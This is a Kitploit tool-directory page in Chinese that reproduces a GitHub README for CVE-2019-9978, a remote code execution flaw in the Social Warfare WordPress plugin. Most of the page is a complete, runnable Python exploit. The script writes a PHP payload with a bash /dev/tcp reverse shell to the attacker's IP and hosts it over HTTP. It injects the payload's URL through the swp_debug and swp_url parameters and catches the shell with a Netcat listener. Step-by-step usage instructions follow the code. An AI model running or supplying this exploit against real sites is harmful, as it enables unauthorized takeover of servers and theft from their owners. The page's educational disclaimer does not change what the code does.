Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE — `admin-post.php` 中的 `swp_debug` 参数允许远程攻击者包含包含恶意 PHP 代码的外部文件,这些代码在服务器上执行。通过提供托管反向 shell 载荷的精心构造的 URL,攻击者可以获得命令执行权限。 | Kitploit
工具/GitHubGitHub/housma/cve-2019-9978-social-warfare-wordpress-plugin-rce
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队远程访问工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHub
housma/cve-2019-9978-social-warfare-wordpress-plugin-rce

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

`admin-post.php` 中的 `swp_debug` 参数允许远程攻击者包含包含恶意 PHP 代码的外部文件,这些代码在服务器上执行。通过提供托管反向 shell 载荷的精心构造的 URL,攻击者可以获得命令执行权限。

查看仓库
21年前尚未审核

CVE-2019-9978 - Social Warfare WordPress 插件远程代码执行

本仓库包含一个针对 CVE-2019-9978 的有效 Python 利用脚本,该漏洞是 WordPress 的 Social Warfare 插件(版本 <= 3.5.2)中的远程代码执行漏洞。

描述

admin-post.php 中的 swp_debug 参数允许远程攻击者包含包含恶意 PHP 代码的外部文件,这些代码会在服务器上被求值。通过提供一个托管反向 shell 载荷的精心构造的 URL,攻击者可以获得命令执行权限。

利用特性

  • 使用 Python 内置 HTTP 服务器托管 PHP 载荷。
  • 发送恶意 swp_url 参数以触发远程代码执行。
  • 启动 Netcat 监听器以捕获反向 shell。
  • 自动写入带有正确转义的载荷,以确保代码成功执行。

需求

  • Python 3.x
  • Netcat
  • 目标域名的本地 DNS 解析(例如,将 example.com 映射到目标 IP)

利用代码

root@kitploit:~
#!/usr/bin/env python3

import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time

# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130"  # 改为你的攻击机 IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"

def create_payload():
    """使用有效的 PHP 语法写入精确的反向 shell 载荷"""
    payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
    with open(PAYLOAD_FILE, "w") as f:
        f.write(payload)
    print(f"[+] 载荷已写入 {PAYLOAD_FILE}")

def start_http_server():
    """通过 HTTP 提供载荷"""
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
        print(f"[+] HTTP 服务器运行在端口 {HTTP_PORT}")
        httpd.serve_forever()

def start_listener():
    """启动 Netcat 监听器"""
    print(f"[+] 正在端口 {LISTEN_PORT} 监听反向 shell...")
    subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])

def send_exploit():
    """通过易受攻击的参数触发利用"""
    payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
    exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
    print(f"[+] 发送利用请求: {exploit}")
    try:
        requests.get(exploit, timeout=5)
    except requests.exceptions.RequestException:
        pass

def main():
    create_payload()

    # 在后台启动 web 服务器
    http_thread = threading.Thread(target=start_http_server, daemon=True)
    http_thread.start()
    time.sleep(2)  # 给服务器启动时间

    # 在后台启动监听器
    listener_thread = threading.Thread(target=start_listener)
    listener_thread.start()
    time.sleep(1)

    # 发送恶意请求
    send_exploit()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("[-] 用户中断。")

使用方法

  1. 将 ATTACKER_IP 和 LISTEN_PORT 改为你机器的 IP 和所需端口。
  2. 确保目标能够将 example.com 解析到正确的 IP。
  3. 运行脚本:
root@kitploit:~
python3 exploit.py
  1. 在监听器中捕获反向 shell。

参考

  • https://nvd.nist.gov/vuln/detail/CVE-2019-9978
  • https://github.com/hash3liZer/CVE-2019-9978

免责声明

本利用脚本仅供教育目的使用。未经明确许可,请勿在任何非你拥有的系统上使用它。

下载工具